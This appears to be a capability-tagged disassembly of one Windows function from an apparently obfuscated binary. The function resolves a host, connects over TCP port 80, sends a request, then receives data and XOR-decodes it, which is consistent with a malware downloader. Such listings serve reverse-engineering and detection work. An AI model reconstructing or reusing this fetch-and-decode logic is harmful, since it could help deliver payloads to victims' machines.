Function at 0x4085c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c610
push 0xffffffffffffffff
push 0x41e53b
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x4261d8]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
mov dword [ebp - 0x2c], ebx
fst dword [ebp - 0x34]
fldz
mov eax, esi
fst qword [ebp - 0x48]
mov byte [ebp - 4], 1
fst qword [ebp - 0x3c]
mov byte [ebp + 0x11bc], bl
fxch st(1)
lea edx, [eax + 1]
fst dword [ebp - 0x40]
fxch st(1)
fst qword [ebp - 0x18]
fst qword [ebp - 0x50]
fxch st(1)
fstp dword [ebp - 0x30]
mov dword [ebp - 0x24], ebx
fstp qword [ebp - 0x58]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408670
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x408ebe
fld qword [0x41f960]
xor ecx, ecx
fld qword [0x41f958]
fld qword [0x41f950]
cmp ecx, edi
jg 0x40870a
fld dword [ebp - 0x30]
mov dl, byte [ecx + esi]
fsubr st(3)
mov byte [ebp + ecx + 0x13bc], dl
fld qword [ebp - 0x18]
fsubr st(3)
fucompp
fnstsw ax
test ah, 0x44
jnp 0x4086c7
fld dword [0x42531c]
fmul st(1)
fstp dword [0x42531c]
cmp byte [ebp + ecx + 0x13bc], 0x2f
jne 0x408707
fstp st(2)
mov byte [ebp + ecx + 0x13bc], 0
fstp st(0)
mov eax, ecx
fstp st(0)
fld qword [0x41f948]
cmp eax, edi
jg 0x40870e
fld qword [0x424090]
mov bl, byte [eax + esi]
mov edx, eax
fsubr st(1)
sub edx, ecx
mov byte [ebp + edx + 0x11bc], bl
fstp dword [ebp - 0x40]
inc eax
jmp 0x4086e7
inc ecx
jmp 0x408698
fstp st(2)
fstp st(0)
mov eax, dword [ebp - 0x24]
fstp st(0)
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fsub dword [ebp - 0x30]
mov cx, word [0x42318c]
movsx edx, cx
mov dword [ebp - 0x20], edx
fild dword [ebp - 0x20]
faddp st(1)
call fcn.0040b310
mov word [0x42318c], ax
inc dword [ebp - 0x24]
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408745
mov edi, dword [ebp - 0x1c]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408758
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x408776
cmp dword [ebp + 0x1b8], 0x10
jmp 0x408ead
mov eax, edi
mov edx, edi
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408780
lea edi, [ebp + 0x11bc]
or ebx, 0xffffffff
sub eax, edx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408794
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x424658
rep movsb byte es:[edi], byte [esi]
call fcn.00401c10
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087c0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408210
fldz
xor eax, eax
fstp dword [ebp - 0x14]
xor edi, edi
mov dword [esi], eax
mov dword [ebp - 0x1c], edi
push esi
mov byte [esi + 4], al
call fcn.0040b14f
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ecx
fild dword [ebp - 0x20]
add esp, 4
fsub dword [ebp - 0x14]
call fcn.0040b310
mov dword [ebp - 0x1c], eax
fld qword [ebp - 0x48]
fsub qword [0x41f940]
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
fstp qword [ebp - 0x48]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408820
sub eax, edx
push eax
lea edx, [ebp + 0x11bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00408480
push 0x32
push 0x425374
call fcn.00401c10
fld qword [ebp - 0x50]
fsub dword [0x424068]
mov esi, eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
add esp, 8
fsubp st(1)
fld dword [ebp - 0x34]
fsubr qword [0x41f938]
fsub qword [0x41f930]
fcompp
fnstsw ax
fld dword [0x424068]
fadd qword [0x41f388]
fstp dword [0x424068]
test ah, 0x41
jne 0x4088a1
movzx ecx, word [0x4234f8]
sub ecx, 0x48bf795d
mov word [0x4234f8], cx
jmp 0x4088ad
fld qword [ebp - 0x3c]
fsub qword [0x41f928]
fstp qword [ebp - 0x3c]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088b2
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408480
fldz
push 0x32
fstp dword [ebp - 0x20]
push edi
mov dword [ebp - 0x1c], edi
push esi
call fcn.0040b400
push esi
call fcn.0040b14f
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
add esp, 0x10
fsub dword [ebp - 0x20]
call fcn.0040b310
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x13bc]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408900
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00408480
push 5
push 0x425a88
call fcn.00401c10
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408930
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408480
fldz
xor eax, eax
fstp dword [ebp - 0x20]
mov dword [esi], eax
mov dword [ebp - 0x1c], edi
push esi
mov byte [esi + 4], al
call fcn.0040b14f
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
add esp, 4
fsub dword [ebp - 0x20]
call fcn.0040b310
mov dword [ebp - 0x1c], eax
mov edx, dword [0x424014]
imul edx, edx, 0xfc5f946c
lea eax, [ebp]
push eax
push 0x202
mov dword [0x424014], edx
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4089af
cmp dword [ebp + 0x1b8], 0x10
jb 0x408ebe
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x408eb6
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x20], esi
cmp esi, ebx
jne 0x408a08
call sub.WS2_32.dll_WSACleanup
fld qword [0x4231f8]
fadd qword [0x41f920]
fadd qword [ebp - 0x3c]
fadd qword [ebp - 0x48]
fstp qword [ebp - 0x48]
fld qword [0x4231f8]
cmp dword [ebp + 0x1b8], 0x10
fsub qword [0x41f388]
fstp qword [0x4231f8]
jb 0x408ebe
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x408eb6
cmp dword [ebp + 0x1458], edi
je 0x408a3c
movzx eax, word [0x4253b0]
push 4
imul eax, eax, 0xa9e59e5a
lea ecx, [ebp + 0x1458]
push ecx
push 0x1006
push 0xffff
push esi
mov word [0x4253b0], ax
call sub.WS2_32.dll_setsockopt
lea edx, [ebp + 0x13bc]
push edx
call sub.WS2_32.dll_gethostbyname
mov ecx, eax
mov ax, word [0x4231b8]
cwde
add eax, 0xfda42d19
add dword [0x423188], eax
cmp ecx, edi
je 0x408996
fld dword [0x424058]
mov edx, 2
fadd qword [ebp - 0x50]
mov word [ebp + 0x190], dx
fcomp qword [0x41f918]
fnstsw ax
test ah, 0x41
jp 0x408aac
mov ax, word [0x4244c0]
movsx edx, ax
mov eax, 0xe87b5abc
sub eax, edx
mov edx, dword [0x4254a8]
imul edx, eax
mov dword [0x4254a8], edx
inc word [0x4244c0]
mov eax, dword [ecx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp + 0x194], eax
movzx eax, word [0x425b90]
add eax, 0x18f9fcf7
mov word [0x425b90], ax
push 0x50
call sub.WS2_32.dll_htons
mov cx, word [0x424654]
movsx edx, cx
mov word [ebp + 0x192], ax
add word [0x424654], bx
add edx, 0x350de642
cmp edx, 0x4d482fac
jl 0x408b0f
mov eax, 0x36a
mov word [0x4253b0], ax
mov edi, 0x10
push edi
lea ecx, [ebp + 0x190]
push ecx
push esi
call sub.WS2_32.dll_connect
cmp eax, ebx
je 0x408b83
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408b3a
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push 0
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408b9b
fld dword [ebp - 0x34]
mov edx, dword [ebp - 0x24]
fsubr qword [0x41f910]
mov ax, word [0x423168]
mov dword [ebp - 0x14], edx
movsx ecx, ax
fisub dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b310
mov word [0x423168], ax
add dword [ebp - 0x24], ebx
cmp dword [ebp + 0x1b8], edi
jb 0x408ebe
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x408eb6
mov ecx, dword [ebp - 0x28]
push 0
push 0x41f908
call fcn.00408210
fld dword [0x425b18]
mov eax, dword [ebp - 0x2c]
fsub qword [0x41f900]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
faddp st(1)
call fcn.0040b310
mov dword [ebp - 0x2c], eax
fld dword [0x425b18]
fadd qword [0x41f388]
mov esi, ebx
mov dword [ebp - 0x1c], ebx
fstp dword [0x425b18]
fld dword [ebp - 0x30]
fsub qword [0x41f8f8]
fstp dword [ebp - 0x30]
lea esp, [esp]
mov edx, dword [ebp - 0x20]
push 0
push 0x1000
lea ecx, [ebp + 0x1bc]
push ecx
push edx
call sub.WS2_32.dll_recv
fld dword [0x425b18]
fsub qword [0x41f8f0]
mov edi, eax
mov ax, word [0x42314c]
mov edx, dword [ebp - 0x24]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
mov dword [ebp - 0x14], edx
faddp st(1)
fild dword [ebp - 0x14]
faddp st(1)
call fcn.0040b310
mov dword [ebp - 0x24], eax
test edi, edi
jle 0x408dc9
mov ecx, dword [ebp - 0x28]
push edi
lea eax, [ebp + 0x1bc]
push eax
call fcn.00408480
test esi, esi
jge 0x408d99
mov ecx, dword [0x4231a0]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fld qword [0x4260a8]
fadd qword [0x41f8e8]
fcompp
fnstsw ax
fld qword [0x4260a8]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [0x4260a8]
dec dword [0x4231a0]
test ah, 5
jp 0x408cb6
fsubr dword [0x426020]
fstp dword [0x426020]
fld dword [0x426020]
fsubr qword [0x41f8e0]
call fcn.0040b310
mov dword [0x425494], eax
jmp 0x408cb8
fstp st(0)
push 5
push 0x425a88
call fcn.00401c10
add esp, 8
mov edi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408cd0
mov ecx, dword [ebp - 0x28]
sub eax, edx
push eax
push 0
push edi
call fcn.00404980
push edi
push 5
mov esi, eax
call fcn.004019c0
mov edx, dword [0x4245cc]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
add esp, 8
fstp qword [0x4234e8]
inc dword [0x4245cc]
test esi, esi
jl 0x408d99
mov eax, dword [ebp - 0x28]
push eax
add esi, 4
call fcn.00406ea0
add esp, 4
mov dword [ebp - 0x1c], eax
test eax, eax
jge 0x408d9f
push 0xb
push 0x425234
call fcn.00401c10
mov ecx, dword [ebp - 0x28]
add esp, 8
mov edi, eax
push 0
push edi
call fcn.00406060
push edi
push 0xb
mov ebx, eax
call fcn.004019c0
add esp, 8
test ebx, ebx
jge 0x408dc9
fld qword [ebp - 0x58]
fld qword [ebp - 0x3c]
fadd qword [0x41f8d8]
fsubp st(1)
fcomp qword [0x41f8d0]
fnstsw ax
test ah, 0x44
jp 0x408d99
mov cx, word [0x42345c]
movsx edx, cx
mov eax, 0x3737994b
sub eax, edx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fld dword [ebp - 0x40]
fsubp st(1)
fsubr dword [ebp - 0x34]
fstp dword [ebp - 0x34]
inc word [0x42345c]
cmp dword [ebp - 0x1c], 0
jl 0x408dac
mov ecx, dword [ebp - 0x28]
mov eax, dword [ecx + 0x14]
sub eax, esi
cmp eax, dword [ebp - 0x1c]
jae 0x408dc9
cmp dword [ebp + 0x1458], 0
je 0x408ee3
mov edx, dword [ebp - 0x28]
cmp dword [edx + 0x14], 0x4000
jb 0x408ee3
movzx eax, word [0x4254fc]
mov ecx, dword [ebp - 0x20]
sub eax, 0x52d65f92
push ecx
mov word [0x4254fc], ax
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
test esi, esi
jl 0x408e59
mov edx, dword [0x425fe8]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fsub qword [0x424408]
mov ax, word [0x4231d0]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b310
mov word [0x4231d0], ax
fld qword [0x424408]
fadd qword [0x41f388]
push esi
mov esi, dword [ebp - 0x28]
push 0
fstp qword [0x424408]
mov ecx, esi
call fcn.00405fd0
dec dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
movzx eax, word [0x4253e0]
sub edx, 0x375214f3
imul edx, eax
mov word [0x4253e0], dx
jmp 0x408e5c
mov esi, dword [ebp - 0x28]
mov dl, byte [ebp + 0x1454]
mov edi, 0x10
test dl, dl
je 0x408e8d
xor eax, eax
lea ecx, [ecx]
cmp eax, dword [esi + 0x14]
jae 0x408e8d
cmp dword [esi + 0x18], edi
jb 0x408e83
mov ecx, dword [esi + 4]
xor byte [ecx + eax], dl
inc eax
jmp 0x408e70
xor byte [esi + eax + 4], dl
lea ecx, [esi + 4]
inc eax
jmp 0x408e70
mov cx, word [0x4244c0]
movsx edx, cx
add edx, 0x2079c958
mov dword [ebp - 0x24], edx
inc word [0x4244c0]
cmp dword [ebp + 0x1b8], edi
jb 0x408ebe
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040acdc
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b2f6
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
fld qword [0x425450]
fsub qword [ebp - 0x50]
fsub qword [0x41f8c8]
fcomp qword [0x41f8c0]
fnstsw ax
test ah, 0x41
jp 0x408bf0
fld qword [ebp - 0x3c]
fmul qword [0x41f8b8]
fstp qword [ebp - 0x3c]
jmp 0x408bf0